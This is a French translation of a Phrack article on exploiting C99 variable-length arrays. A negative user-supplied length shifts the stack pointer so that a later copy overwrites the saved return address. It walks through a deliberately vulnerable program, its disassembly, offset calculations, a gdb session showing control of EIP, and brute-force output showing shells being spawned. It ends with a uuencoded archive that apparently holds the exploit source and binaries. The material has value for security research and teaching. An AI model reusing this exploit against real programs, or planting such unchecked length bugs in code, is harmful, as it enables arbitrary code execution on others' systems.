==Phrack Inc.==
Volume 0x0b, Édition 0x3f, Article #0x0e sur 0x14
|=----=[ Clutching at straws: When you can shift the stack pointer ]=----=|
|=-----------------------------------------------------------------------=|
|=----------=[ Andrew Griffiths <andrewg@felinemenace.org> ]=------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|
--[ Sommaire
1 - Introduction
2 - L'Histoire
2.1 - Note du standard C99
3 - Décomposition
4 - C'est parti
4.1 - Nécessités pour l'exploitabilité
5 - Liens
6 - Et pour finir
--[ 1 - Introduction
Ce papier documente un rare, mais pas des moins intéressants, bug
dans les tableaux dimensionnés avec variables en C. Cette
condition apparaît une longueur fournie par l'utilisateur est
passé par un paramètre vers la déclaration de variable dans une
fonction.
Comme résultat, un attaquant pourra être capable de "shifter"
[NDT : bouger] le pointeur de pile pour pointer quelque part où
c'est pas prévu, comme au dessus du pointeur de pile, ou quelque
part d'autre comme dans la Global Offset Table.
--[ 2 - L'Histoire
Après avoir joué une paire de rounds au billard et avoir bu au pub
local, nemo m'a parlé de quelques trucs intéressants après des
jours de sessions d'audites. Il mentionna qu'il y avait certaines
construction de code interessantes qu'il n'avait pas encore
exploré entièrement (peut-être parce que je l'ai tiré dehors pour
aller boire).
En gros, le code ressemble vaguement à ça :
int function(int len, some_other_args)
{
int a;
struct whatever *b;
unsigned long c[len];
if(len > SOME_DEFINE) {
return ERROR;
}
/* reste du code */
}
et nous avons commencé à en discuter, et comment nous pourions en
prendre avantage. Après avoir discuté des compilateurs qui créent
du code qui l'empêche, les architecture qui ne fonctionneraient
pas (et les avertissement de ces architectures), et bien sur, une
autre manche de deux boissons, nous sommes arrivés à la conclusion
que ça serait parfaitement faisable de l'exploiter, et que ça
serait une affectation esp -= valeur_de_utilisateur standarde.
Le problème dans le code ci-dessus est que si len est fourni par
l'utilisateur, il sera possible de le rendre négatif et de
déplacer le pointeur de pile plus pret du haut de la pile, à
opposer à plus près du bas de la pile (si on considère que la pile
grandi vers le bas).
----[ 2.1 - Note du standard C99
Le standard C99 permet la déclaration de tableaux dont la longueur
est donnée par une variable :
Pour citer :
"Dans cet exemple, la taille du tableau dimensioné par une
variable est calculée et retounrée à partir d'une fonction :
size_t fsize3 (int n)
{
char b[n+3]; //Tableau de longueur variable.
return sizeof b; // Execution timesizeof.
}
int main()
{
size_t size;
size = fsize3(10); // fsize3 retourne 13.
return 0;
}"
--[ 3 - Break down
Voici le fichier C (tortueux) que nous utiliseront comme exemple.
Nous couvrirons plus de choses plus loins dans l'article.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
int func(int len, char *stuff)
{
char x[len];
printf("sizeof(x): %dn", sizeof(x));
strncpy(x, stuff, 4);
return 58;
}
int main(int argc, char **argv)
{
return func(atoi(argv[1]), argv[2]);
}
La question arrive quand même, quelles instructions le
compilateurs génère-t-il pour la fonction func ?
Voici le résultat du désassemblage à partir de "gcc version 3.3.5
(Debian 1:3.3.5-8ubuntu2)", gcc dmeiswrong.c -o dmeiswrong.
080483f4 <func>:
80483f4: 55 push %ebp
80483f5: 89 e5 mov %esp,%ebp ; prologue standard
; de fonction
80483f7: 56 push %esi
80483f8: 53 push %ebx ; sauvegarde le contenu des
; registres appropriés
80483f9: 83 ec 10 sub {CONTENT}x10,%esp ; installe les
; variables locales
80483fc: 89 e6 mov %esp,%esi ; enregistre le registre ; esp
80483fe: 8b 55 08 mov 0x8(%ebp),%edx ; donne la taille
8048401: 4a dec %edx ; la décrémente
8048402: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048405: 83 c0 0f add {CONTENT}xf,%eax
8048408: c1 e8 04 shr {CONTENT}x4,%eax
804840b: c1 e0 04 shl {CONTENT}x4,%eax
Les dernières trois lignes sont eax = (((eax + 15) >> 4) << 4); Ceci
arondis au supérieur et aligne eax à une limite de paragraphe.
804840e: 29 c4 sub %eax,%esp ; ajuste esp
8048410: 8d 5c 24 0c lea 0xc(%esp),%ebx ; ebx = esp + 12
8048414: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048417: 89 44 24 04 mov %eax,0x4(%esp) ; argument len
804841b: c7 04 24 78 85 04 08 movl {CONTENT}x8048578,(%esp) ; chaine fmt
; "sizeof(x): %dn"
8048422: e8 d9 fe ff ff call 8048300 <_init+0x3c> ; printf
8048427: c7 44 24 08 04 00 00 movl {CONTENT}x4,0x8(%esp) ; arg len
804842e: 00 ; pour strncpy
804842f: 8b 45 0c mov 0xc(%ebp),%eax
8048432: 89 44 24 04 mov %eax,0x4(%esp) ; données à copier
8048436: 89 1c 24 mov %ebx,(%esp) ; où écrire
; ebx = adjusted esp + 12 (see 0x8048410)
8048439: e8 e2 fe ff ff call 8048320 <_init+0x5c> ; strncpy
804843e: 89 f4 mov %esi,%esp ; restore esp
8048440: b8 3a 00 00 00 mov {CONTENT}x3a,%eax ; prèt à retourner
8048445: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
; on restaure esp encore une fois, juste
; pour si ça n'a pas eu lieu
; la première fois
8048448: 5b pop %ebx
8048449: 5e pop %esi
804844a: 5d pop %ebp
804844b: c3 ret ; restaure les registres et retourne.
Que pouvons-nous apprendre de la sortie d'assembleur ci-dessus ?
1) Il y a des opération d'arrondis qui sont faites sur la valeur
fournie, ce qui veut dire que les petites valeurs négatives
(-15 > -1) et les petites valeurs (1 - 15) deviendront 0. Ceci
sera probablement utile, comme on va le voir plus bas.
Quand la valeur fournie est -16 ou moins, alors, il sera
possible de déplacer le pointeur de pile en arrière (plus près
du haut de la pile).
L'instruction sub $eax, %esp à 0x804840e peut être vue comme
add , %esp quand len vaut -16.[1]
2) Le pointeur de pile est enlevé par la valeur founrie alignée
aux paragraphes.
Puisque nous pouvons donner une valeur presqu'arbitraire à
ceci, nous pouvons faire pointer le pointeur de pile à un
paragraphe spécifié.
Si la valeur du pointeur de pile est connus, nous pouvons
calculer l'offset nécessaire pour faire pointer le pointeure de
pile vers une zone mémoire. Ceci nous permet de modifier des
sections en écriture comme la GOT dans le tas.
3) gcc peut sortir certaines constructions assembleur loufoques.
--[ 4 - C'est parti
À quoi ressemble donc le diagramme de la pile dans ce cas ? quand
nous atteingons 0x804840e (sub esp, eax) voici à quoi ça
ressemble :
+------------+
0xc0000000 | ...... | Sommet de pile
| ...... |
0xbffff86c | 0x08048482 | Adresse de retour
0xbffff868 | 0xbffff878 | Sauvegarde de EBP
0xbffff864 | ...... | Sauvegarde de ESI
0xbffff860 | ...... | Sauvegarde de EBX
0xbffff85c | ...... | Espace de variables locales
0xbffff858 | ...... | Espace de variables locales
0xbffff854 | ...... | Espace de variables locales
0xbffff850 +------------+ ESP
Pour écraser l'adresse de retour sauvegardée, nous devons cacluler
la valeur qu'il faudra soustraire.
delta = 0xbffff86c - 0xbffff850
delta = 28
Nous avons besoin de soustraire 12 à notre valeur delta à cause
de l'instruction à 0x08048410 (lea 0xc(%esp),%ebx) donc, nous
obtenons en fin 16.
Si la valeur de delta ajustée avait été de moins de 16, nous nous
serions retrouvé à écraser 0xbffff85c, à cause de l'alignement sur
les paragraphes. En fonction de ce qui a à cet endroit, ça
pourrait ou pas être utile. Dans ce cas particulier, ça ne l'est
pas. Si nous pouvions écrire plus de 4 octets, ça pourrait être
utile.
Quand nous utilisons -16 AAAA comme argument à dmeiswrong
nous obtenons :
andrewg@supernova:~/papers/straws$ gdb -q ./dmeiswrong
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set args -16 AAAA
(gdb) r
Starting program: /home/andrewg/papers/straws/dmeiswrong -16 AAAA
sizeof(x): -16
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
En utilisant les informations ci-dessus, un exploit peut être
écrit pour dmeiswrong.c. Regardez le fichier joint iyndwacyndwm.c
pour plus d'informations.
Le code d'exploit joint (iyndwacyndwm.c) fonctionne sur mon
système (gcc version: Debian 1:3.3.5-8ubuntu2, kernel: Linux
supernova 2.6.10-5-686 #1 Fri Jun 24 17:33:34 UTC 2005 i686
GNU/Linux) avec succès
Il pourrait échouer sur la machine du lecteur à cause de
différents schéma d'initialisation de la pile, et différentes
options du compilateur ou du code généré. Vous aurez besoin de
jouer un peu avec gdb pour que ça marche. Cependant, cette
technique devrait fonctionner gentillement pour les autres
personnes, ils auront juste à jouer un peut avec pour que ça
fonctionne comme prévu.
Pour que ça fonctionne sur votre système, regardez à cause de quoi
çà segfault (ce qui peut être fait avec une simple boucle
"for i in `seq 0 -4 -128` ; do ./dmeiswrong $i AAAA ; done"
et de regarder quel offset segfault). Le makefile inclu implémente
cette boucle pour vous quand vous tapez make bf. Vous pouvez alors
répéter l'offset et demdander à GDB pour voir si EIP pointe bien
vers 0x41414141.
Ensuite, c'est une histoire d'avoir le schéma de la pile
correctement pour que l'exploit fonctionne. Dans l'exploit inclu,
je l'ai fait pour qu'il essaye de déterminer l'offset exact auquel
le shellcode commence. Cette technique est expliquée plus tard
dans [2]. Sinon, cette technique peut être faite en examinant le
schéma de la pile au "_start" (point d'entrée de l'exécutable) et
de regarder ce qui est en mémoire à partir du haut et de regarder
l'offset, puisqu'il est assez possible que des choses aient bouger
pendant différentes version du noyau.
Pour permettre aux personne d'avoir plus facile à jouer avec cette
technique, j'ai inclu un dmeiswrong précompilé et des fichiers
iyndwacyndwm, qui j'espère démontrent le problème. Si iyndwacyndwm
ne fonctionne pas pour vous, essayez iyndwacyndwm-lame qui essaye
la technique standarde de "pick an offset from some value (like
esp)" [NDT : récupère l'offset à partir d'une valeur (comme esp)]
pour essayer et récupérer l'exécution d'un code sur l'hote.
Je n'ai pas effectué de teste à grande échelle contre des
compilateurs vulnérables mais à cause des structures que le
compilateur générera sûrement, je suspecte une majorité des
compilateurs qui supportent les tableaux dans la pile dimensionnés
par variables d'être vulnérables. Ceux qui ne sont pas vulnérables
devrait être ceux qui incluent du code pour vérifier qu'il n'y a
pas de problème à l'exécution.
L'exploitabilité de ce type de bug apparaît être faisable sur
d'autres architectures, comme PPC, puisque j'ai été capable de le
voir crasher avec $pc valant quelque chose que je n'ai pas choisi.
(comme 0x6f662878 et parfois $p devrait pointer vers une
instruction invalide dans la pile). Ça a été fait juste en
incrémentant la valeur passée à len par 4 dans une boucle. bf
devait pointer en dehors de l'architecture exploitable puisqu'elle
a crashé (finalement).
Je n'ai pas eu assez de temps pour regarder tout ceci plus en
détail puisque la date final de dépôts des articles arrivait vite,
et que l'assembleur PPC et MacOSX ne sont pas mes points forts.
--[ 4.1 - Nécessités pour l'exploitabilité
Pour qu'une architecture / système d'exploitation soit
exploitable, l'architecture a besoin de supporter une pile qui
peut être déplacée. Si la pile contien des informations de flux de
contrôle embarquées comme des adresses de retour sauvegardées, il
sera significativement plus facile de l'exploiter, et
partiellement moins dépendant de la valeur contenue par le
pointeur de pile. Ceci à son tour augmente la fiabilité des
exploits, surtout pour ceux distants.
En plus, les compilateurs doivent :
- supporter les tableaux de taile variable (qui a été démontré
plus tôt, est une fonctionnalité du standard C99)
- ne génère pas de code pour effectuer des tests de validité du
pointeur de pile qui bouge. Il est prévisible que si cette
solution recoit l'attention du public, des patchs de sécurité
des compilateurs (comme pro-police, stackguard, et autres)
ajouteront la détection de cette technique.
La direction dans laquelle la pile grandi n'est pas importante
pour le problème puisque si la pile x86 grandis vers le haut,
l'instruction à 0x804840e serait devenue addl %eax, %esp et en
fournissant la valeur -16 au paramètre len, l'instruction serait
équivalente à subl , %esp, qui nous donnerait accès au eip
sauvegardé et à la sauvegarde du frame pointeur, entre autres
choses.
Le makefile joint a une option "bf" qui devrait vous permettre de
tester si votre architecture est vulnérable. Dans le but que ça
fonctionne comme prévu, vous devrez fournir le sommet de pile de
votre architecture et un shellcode correct. Un shellcode de test
recommandé est l'instruction de piège (int3 sur x86, trap sur ppc)
qui génère une signature particulière quand le code est exécuté.
La sortie de la commande make bf sur mon portable est la suivante :
andrewg@supernova:~/papers/straws/src$ make bf
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
sh-3.00$ exit
sizeof(x): -20
sh-3.00$ exit
sizeof(x): -24
sh-3.00$ exit
sizeof(x): -28
sh-3.00$ exit
sizeof(x): -32
/bin/sh: line 1: 16640 Segmentation fault ./iyndwacyndwm-lame $i
sizeof(x): -36
[ moins un morceau de messages de Segmentation fault ]
/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -68
/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -72
[ moins une bonne partie de messages de Floating point exception
et de segv ]
andrewg@supernova:~/papers/straws/src$
La commande make bf-trap génère la sortie suivante :
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame-trap $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -20
/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -24
--[ 5 - Liens
[1] http://www.eduplace.com/math/mathsteps/6/b/
[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf
--[ 6 - Et pour finir
J'aimerais remercier tous les gens de felinmenace ((dans aucun ordre particulier)
nevar, nemo, mercy, ash, kwine, jaguar, circut, nd et n00ne), ainsi que ceux de
pulltheplug, surtout arcanum.
Remerciements aléatoires à dme, caddis, Moby pour ses conseil en visual basic en
discutant de ce problème au pub, et zen-parse.
Ça va sans dire, mais je voudrais remercier aussi tous les gens qui ont envoyés des retours sur mon article
[ Besoin d'un challenge ? ]
[ Visitez http://www.pulltheplug.org ]
[ Vous voulez visitez l'australie et avez besoin d'une raison ? ]
[ RUXCON sera tenu le 1er et 2 Octobre - renez-vous là bas ]
[ http://www.ruxcon.org.au/ ]
|=[ EOF ]=---------------------------------------------------------------=|
begin 644 src.tar.gz
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
